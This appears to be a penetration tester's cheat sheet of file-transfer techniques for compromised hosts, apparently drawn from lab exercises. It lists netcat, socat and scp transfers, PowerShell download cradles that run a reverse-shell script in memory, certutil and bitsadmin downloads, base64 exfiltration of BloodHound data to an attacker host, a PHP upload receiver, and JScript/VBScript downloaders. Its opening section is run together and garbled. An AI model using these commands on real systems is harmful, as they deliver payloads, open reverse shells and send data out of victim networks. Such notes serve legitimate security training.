## ------------------| NetCat### Receiving sidenc-lp1234>out.file### Sending sidenc-w3<ReceiverIP>1234<out.filecatout.file>/dev/tcp/<DestinationIP>/1234# ------------------| Socat### Sending sidesocatTCP4-LISTEN:1234,forkfile:secret.txt### Receiving sidesocatTCP4:<SenderIP>:1234file:secret.txt,create# ------------------| SSH### To copy a file from B to A while logged into B:scp/path/to/fileusername@a:/path/to/destination### To copy a file from B to A while logged into A:scpusername@b:/path/to/file/path/to/destination
## ------------------| Old version (support for any version)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<IP>/nc.exe', 'C:\Users\Public\nc.exe')"
## ------------------| New version (alias IWR)
powershell -c "Invoke-WebRequest http://<IP>/nc.exe -OutFile C:\Users\Public\nc.exe"
## ------------------| Executed in memory (alias IEX)
powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.25/rev.ps1')"
powershell -c "Invoke-WebRequest http://10.10.14.25/rev.ps1 | iex"
## ------------------| Internet Explorer’s First Run error (-useBasicParsing)
powershell -c "IWR -useBasicParsing http://<IP>/nc.exe -o C:\Users\Public\nc.exe"
### If you have admin access you can disable Internet Explorer’s First Run customization
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2
## ------------------| CMD ways
certutil -urlcache -split -f "http://<IP>/nc.exe" C:\Users\Public\nc.exe
## ------------------| Using Curl
powershell curl http://<IP>/rev.ps1
## ------------------| The Background Intelligent Transfer Service (BITS)
bitsadmin /transfer n http://<IP>/nc.exe C:\Temp\nc.exe
Import-Module bitstransfer;Start-BitsTransfer -Source "http://<IP>/nc.exe" -Destination "C:\Temp\nc.exe"
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:/<PATH>/BloodHound.zip' -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:443 -Method POST -Body $b64
## Download file with netcat
echo <base64> | base64 -d -w 0 > bloodhound.zip
## ------------------| The Background Intelligent Transfer Service (BITS)
Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://<IP>/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql
## ------------------| HTTP POST
### Creare following up.php code in host machine
<?php
$up_dir = '/var/www/html/';
$up_file = $up_dir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['name'], $up_file);
?>
### Change file permision
sudo chown www-data: /var/www/html
### Upload file through powershell
powershell (New-Object Net.WebClient).UploadFile('http://<IP>/up.php', 'nc.exe')
## ------------------| Create wget.js file
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
## ------------------| It can be executed as follows.
cscript /nologo wget.js http://<IP>/nc.exe nc.exe
## ------------------| Create wget.vbs file
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
## ------------------| It can be executed as follows.
cscript /nologo wget.vbs http://<IP>/nc.exe nc.exe